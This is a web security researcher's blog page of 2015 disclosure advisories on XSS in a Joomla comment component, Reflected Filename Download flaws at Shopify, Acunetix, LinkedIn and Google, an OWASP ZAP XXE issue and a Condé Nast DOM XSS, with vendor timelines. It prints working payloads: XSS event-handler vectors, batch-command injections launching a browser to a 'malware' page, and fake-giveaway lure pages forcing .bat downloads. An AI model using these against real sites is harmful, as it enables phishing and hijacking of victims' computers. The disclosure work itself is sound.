David Sopas – Web Security Researcher

30/09/15 Advisories # , , , , , ,

Komento Joomla! component Persistent XSS

Komento Joomla! component Persistent XSS

CVE Reference: CVE-2015-7324

Komento is a Joomla! comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, VirtueMart and redShop.


I found out that was possible to launch a Persistent XSS attack when adding a new comment using the WYSIWYG website and image buttons.
This issue was critical in both environments – frontend and backoffice.

In frontend when a user visited a page where the comment has a XSS attack it would be automatically affected.
In the other side – the backoffice – when the admin checked the new comment it would be vulnerable to this attack and could get his account hijacked or something even more dangerous.

What I did was to pass along the XSS vector in the [img] code and use the Javascript onload to run the exploit when image loads.

Proof-of-concept using [img]:

[img]http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg” onload=”prompt(1)[/img]

Proof-of-concept using [url]:

[url=”https://www.davidsopas.com” onmouseover=”prompt(1)”]Your text to link[/url]


In the [img] case this will reflect the following HTML (on the frontend):

<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;" onload="var elem=this;if (this==window) elem=document.body;elem.setAttribute('data-pagespeed-loaded', 1)"/>



<img src="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" data-pagespeed-onload="prompt(1)" alt="http://www.robolaranja.com.br/wp-content/uploads/2014/10/Primeira-imagem-do-filme-de-Angry-Birds-%C3%A9-revelada-2.jpg" onload="prompt(1)" style="max-width:300px;max-height:300px;">

In the administrator area.

This Joomla! component has lot’s of Google results and can affect a large number of innocent people. A victim just by visiting the page with a malicious comment will be affected.

All versions prior to 2.0.5 are affected.
Vendor already patched both security issues in the new version 2.0.5 – http://stackideas.com/changelog/komento

no responses
29/09/15 Interesting Readings # , ,

Bug Hunter Appreciation Programs

Interesting reading about security bug bounty written by Eduardo Vela – http://sirdarckcat.blogspot.pt/2015/09/not-about-money.html

You got to love this part:

It is my view, that we shouldn’t call them “Bug Bounty Programs”, I would like them to be called “Bug Hunter Appreciation Programs”. I don’t like the term “Bug Bounty”, because bounty sounds a lot like it’s money up for grabs, when the attitude is that of a gift, or a “thank you, you are awesome”.

no responses
29/09/15 Advisories # , , ,

Shopify open to a RFD attack

Shopify open to a RFD attack

Before Shopify having a bounty program on HackerOne I already sent [on 19 march] a security report about a Reflected Filename Download I found on their website.
It doesn’t need any authentication like access_token, api_key or even an account on Shopify.

The problem is located under app.shopify.com service.

On Internet Explorer 9 and 8 browsers if you run the following link:


It will show download dialog with a file named track.bat that after execution it will run Google Chrome with a malicious webpage (in this case it’s only text).
Of course a malicious user could run any operating system command he wishes.

On other browsers like Chrome, Opera, Firefox, Android Browser and Chrome for Android latest versions you need to visit a page which will force the download using HTML5 <A DOWNLOAD> attribute:

<div align="center"> 
<a href="https://app.shopify.com/services/signup/track.bat?callback=foobar&signup_page=http%3A%2F%2Fwww.shopify.com%2F%22||start%20chrome%20davidsopas.com/poc/malware.htm||&_=" download="track.bat">
<img src="http://harleyf.com/wp-content/uploads/2010/03/94_shopify.png" border="0" />
</a> <
h1>Shopify is giving away premium service!</h1> 
<p><i>(Firefox users: Use "Save link as" to download the file)</i></p> 

When the victim visits a specially crafted page with the code above and click the image it will show the download dialog and after downloading it will show that the file is coming from Shopify servers.



So a possible attack scenario will be:

  1. Malicious user sends link to victim like it would with a CSRF or a XSS (phishing campaigns, social networks, instant messengers, posts, etc)
  2. Victim clicks the link and trusting where it came from (Shopify) he downloads it
  3. Victim runs the file and his computer it’s hijacked

To the victim, the entire process looks like a file is offered for download from Shopify original site and it would not raise any suspicious. A malicious user could gain complete control over a victims computer system and launch malicious files that appear to originate from a trusted party.

In my opinion this was the last time I’ll send anything to Shopify. We have different views on patching security reports.
An example: Some of the bounties that they already paid on HackerOne are Self-XSS and Missing SPF. Both issues were awarded with the minimum amount – $500. I don’t know where or why these issues are more dangerous than my security report but it’s up to them.
I was patient and gave them enough time to fix this issue – even sending them possible solutions. More than 6 months on a paid online store service and still unfixed seems to much.

So beware of this issue because according to Shopify they don’t foresee that this issue will be fixed any time soon.

19-03-2015 Reported this security issue to Shopify
27-03-2015 No reply so I asked for a update
06-04-2015 First contact with Shopify which they reply that it’s being processed
15-04-2015 Shopify told me that this security issue is interesting and ask for more information
15-04-2015 I sent more information and new proof-of-concept
04-05-2015 I asked for a update (no reply)
15-06-2015 I asked for another update (no reply)
16-09-2015 I asked for another update
22-09-2015 Since April without any email from Shopify they replied that they were working on fixing more urgent issues and consider mine a low impact and low priority
23-09-2015 I told them that it’s not a social engineering issue but they still don’t understand it
23-09-2015 Shopify told me that their prioritization is not up for discussion and not patching any time soon.
25-09-2015 Full disclosure

3 responses
28/09/15 Donations # , , ,

Another donation to APAFF

Another donation to APAFF

I’m always happy when I donate food to a local animal shelter.

This time was:
50kg of senior dog food
60kg of cat food

It’s not enough for more than 150 dogs and 100 cats but it will help them for a while.
I promise that will be more…

no responses
25/09/15 Interesting Readings , Tips and Tricks # , , , , ,

Yahoo! and other sites vulnerable to Open Redirect

Yahoo! and other sites vulnerable to Open Redirect

A couple of portuguese security researchers published a article about a vulnerability on Linkedin and Yahoo! that allows a malicious user to redirect victims to other sites. The problem is/was located on a vulnerable version of Express – Node.js web application framework.

So with a simple modification in the URL you get a Open Redirect attack:




Both Yahoo! attacks are still open to attack and working in Firefox and Opera browsers.

I found out that many other sites are vulnerable to this attack including MySpace. Just searching on the official ExpressJS site you can get a list of big companies and start-ups vulnerable to this attack – http://expressjs.com/resources/applications.html

This is a easy fix – just update your Express Framework and you’re done!

one response
23/09/15 Advisories # , , ,

Acunetix got RFDed!

Acunetix got RFDed!

After publishing a report on a security software – OWASP ZAP – I found another vulnerability on a security company – Acunetix.
Reminds the proverbial saying:

Shoemaker’s son always goes barefoot.

I found a way to trick users into downloading a batch [executable] file that comes from ovs.acunetix.com using a Reflected Filename Download vulnerability.
It was funny how I found this one. I noticed that Acunetix allowed to test vulnerabilities online and I was curious about that web appplication. I register for a demo account and noticed lot’s of XHR requests on my Google Inspector. So I decided to give RFD a try…

This security issue affected almost all XHR requests on ovs.acunetix.comAcunetix Online Vulnerability Scanner. Every request allowed a user to inject a callback with special characters that would allowed me to launch a possible attack.

Take this example:

https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start chrome davidsopas.com/poc/malware.htm||

Which reflects on the screen:

start chrome davidsopas.com/poc/malware.htm||({“message”: “get:sgn:invalid size”, “data”: null, “error”: “bad-input”});

It didn’t give any HTTP error:

Request URL:https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start%20chrome%20davidsopas.com/poc/malware.htm||
Request Method:GET
Status Code:200 OK
Remote Address:

So I was able to inject a callback that even giving an error on the JSON information it didn’t return a HTTP error.

Because I couldn’t control the filename and force a download I needed to use the HTML5 download attribute.

<div align="center"> 
 <a href="https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start chrome davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;">
 <img src="https://www.davidsopas.com/poc/Acunetix_1.jpg" border="0" />
 <h1>Download Acunetix Web Security Scanner for Free!</h1> 
 <p><i>(Use "Save link as" to download the file)</i></p> 

As I said before it happened in almost every XHR requests:


Possible attack scenario:
Because this file can be accessed without authentication a malicious user could use this to attack any user.

  1. Malicious user creates a specially crafted page – similar to my proof-of-concept – promising to download Acunetix web security software.
  2. Victims clicks to download the file [even if the victim checks the source-code of the page they would see the trusted source – acunetix.com]
  3. Victims runs the file and gets hijacked

Acunetix security team fixed this vulnerability very fast proving that they’re on top of things. I wish I could to see other companies follow Acunetix patching timeline.


17-09-2015 Reported to Acunetix
17-09-2015 Acunetix acknowledged the vulnerability
18-09-2015 Acunetix informed me that they fix this security issue
22-09-2015 Full disclosure

one response
22/09/15 Advisories # , , , ,

OWASP ZAP XXE vulnerability

OWASP ZAP XXE vulnerability

I just noticed that this is my first full disclosure of a XXE vulnerability. I already found others but they were inside private bounty programs.

For those who don’t know OWASP ZAP:

The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

@ https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

When checking some files from the application I noticed that there are a lot of XML files so I decided to “play” the XXE (XML External Entity) card to check if it OWASP ZAP was vulnerable. I know that finding this type of local vulnerability is a low level issue specially because you need to have access to the local files of the victim but what if the malicious user wants to backdoor the operating system without the trouble of being detected? Cool idea right?

What I done:

  • Opened config.xml on OWASP ZAP local path
  • Added after the <xml> tag the following code:
<!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "http://davidsopas.com/XXE" >]><foo>&xxe;</foo>
  • Saved it and run OWASP ZAP
  • Checking the logs of davidsopas.com I had:

xx.xx.xxx.xxx – – [14/Aug/2015:16:29:05 +0100] “GET /XXE HTTP/1.1” 301 234 “-” “Java/1.8.0_31”

Keep in mind that config.xml is updated when you run the application so the XXE attack is removed automatically cleaning the tracks of a possible malicious user.
Others XML files could also be vulnerable.

I reported this issue to OWASP ZAP guys and they agree with me that it’s not a critical security issue but they fixed it on the version 2.4.2 – https://github.com/zaproxy/zaproxy/issues/1804 – by disabling processing of XML external entities by default.

They were also nice enough to put my name in their acknowledgement list.
If you don’t use OWASP ZAP give it a try. I use it almost everyday. It’s a excellent pentesting tool and with great online support.

one response
18/09/15 Advisories # , ,

Linkedin Reflected Filename Download

Linkedin Reflected Filename Download

When researching another website I discovered a XHR request on my Google Inspector on Linkedin that seemed interesting:


Basically it was the request made by websites to count how many shares their site have on Linkedin network.
As a curious security researcher I tried to modify the url parameter to something more interesting:


Which returned:


Url parameter wasn’t validated and it was reflected on the JSON file.
If I downloaded the file and renamed it to .bat it executed the calculator from Windows.
But this is not enough I needed to change the path so it downloads a batch file and use a different windows command.

https://www.linkedin.com/countserv/count/share;setup.bat?url=”||start chrome websegura.net/malware.htm||

Guess what? IE8 downloaded automatically this batch file from a trusted domain – linkedin.com
I wanted to work with other browsers so I needed HTML5 download attribute.

<div align="center"> 
<a href='https://www.linkedin.com/countserv/count/share;setup.bat?url="||start chrome websegura.net/malware.htm||' download="setup.bat" onclick="return false;">
<img src="http://damnlink.com/uploaded_images/godaddy_coupons_and_godaddy_promo_code_3187745288.png" border="0" /></a> 
<h1>Linkedin Premium account!</h1> 
<p><i>(Use "Save link as" to download the file)</i></p> 


So a possible attack scenario would be:

  1. 1. Malicious user sends link to victim like it would with a CSRF or a XSS (phishing campaigns, social networks, instant messengers, posts, etc)
  2. Victim clicks the link and trusting where it came from (Linkedin) he downloads it
  3. Victim runs the file and his computer it’s hijacked

A malicious user could even give more credibility to the HTML5 download site if he uses famous open redirections vulnerabilities on trusted sites like open redirects on Google or even on Linkedin.

To the victim, the entire process looked like a file is offered for download from Linkedin original site and it would not raise any suspicious. A malicious user could gain complete control over a victims computer system and launch malicious files that appear to originate from a trusted party.

Malicious users are always searching for better ways of gaining trust of victims. This could be the right online weapon.

11-05-2015 Sent the report to Linkedin
11-05-2015 Didn’t understand the true nature of the attack
11-05-2015 I replied with more information using other public RFD attacks and Oren Hafif paper about RFD
13-05-2015 Linkedin told me that they’re working in a solution
02-06-2015 I asked for an update
03-06-2015 Linkedin replied that they will give me an update soon
01-07-2015 I asked again for an update
09-09-2015 Linkedin replied that they had fix the issue
18-09-2015 Full disclosure

3 responses
16/09/15 Advisories # , , ,

DOM XSS in all Condé Nast sites network

DOM XSS in all Condé Nast sites network

For those who don’t know Condé Nast:

Condé Nast, a division of Advance Publications, is a mass media company headquartered at One World Trade Center in New York City. The company attracts more than 164 million consumers across its 20 print and digital media brands: Allure, Architectural Digest, Ars Technica, Bon Appétit, Brides, Condé Nast Traveler, Details, Epicurious, Glamour, Golf Digest, Golf World, GQ, Lucky, The New Yorker, Self, Teen Vogue, Vanity Fair, Vogue, W and Wired.

A DOM XSS vulnerability present in specific ads page on newyorker.com allowed me to understand that all of their network websites were vulnerable if a user to injected code into the url.

The affected file was displayad.html on ads directory:

<script type="text/javascript">
document.write('<script type="text/javascript" src="' + (location.search.split('req=')[1] || '') + '"></scr'+'ipt>');

location.search.split function is not properly escaped so it was possible to manipulate “req” parameter as we wish.



Other sites on the network:


Keep in mind that these sites brings millions of users every day and these vulnerability in the wrong hands would be very dangerous.
A malicious user could also:

  • Access other sites inside another client’s private intranet.
  • Steal another client’s cookie(s).
  • Modify another client’s cookie(s).
  • Steal another client’s submitted form data.
  • Modify another client’s submitted form data (before it reaches the server).
  • Submit a form to your application on the user’s behalf which modifies passwords or other application data

This was fixed by Condé Nast security team which kept me updated every time showing me that it’s a company that care about security and their clients. Hope they can keep up the good work.

08-09-2015 Asked for a security contact
09-09-2015 First contact with the head of security of Condé Nast
10-09-2015 Sent the report
11-09-2015 Update received that they were clearing cache
14-09-2015 Problem solved
16-09-2015 Full disclosure

no responses
10/09/15 Advisories # , ,

Google Reflected Filename Download

Google Reflected Filename Download

I found a critical issue on Google that can be used by malicious users to hijack victims computer using Google domain as platform and trust source.

I come across this security issue because I detected a JSON request using Google Inspector made by the following URL:


After checking that callback variable could be reflected on the screen I tried the following GET request:


Which returns the following JSON information:

// API callback
"error": {
"errors": [
"domain": "usageLimits",
"reason": "keyInvalid",
"message": "Bad Request"
"code": 400,
"message": "Bad Request"

It returns HTTP status code 200 even when the JSON request tells that’s an error (?). In this case callback only allows a command to be executed without spaces so in the following proof-of-concept I could execute calc from Windows.

But I wanted a better and more exploitable proof-of-concept so I tried with the query parameter – “q”:


Which returned:

"title": "Google Custom Search - \"||start chrome davidsopas.com/poc/malware.htm||",
"searchTerms": "\"||start chrome davidsopas.com/poc/malware.htm||",

The attack is reflected. Due to the fact that I couldn’t control the filename and force a download I needed to use HTML5 vector supported by the following browsers:

  • Chrome
  • Opera
  • Android Browser
  • Chrome for Android
  • Firefox

Online proof-of-concept  (downloads batch file that a new Chrome window with a URL – in my PoC is just text):



This works mostly on all Microsoft Windows versions. It also can be used in Linux and OSX but it needs more user interaction. For multi-plataform a malicious user could create a .htm file instead of a .bat file being the HTML file malicious. This is might be an alternative attack method to work with all operating systems.

So in my proof-of-concept I was able to execute a new window on Chrome browser with a page that simulates malware [it’s just text].

A malicious user could:

  1. Launch a malicious campaign with the specially crafted page providing Google offers – similar to my proof-of-concept
  2. Victim downloads the file thinking that is from a trusted domain [googleapis.com]
  3. Malicious user gains control over victims machine

How to fix this issue?
Google already fixed most of these issues by using HTTP header Content-disposition:attachment; filename=”f.txt” that will force the download to f.txt every time. But this time they decided not to fix it because they say that needs to many user interaction.

no responses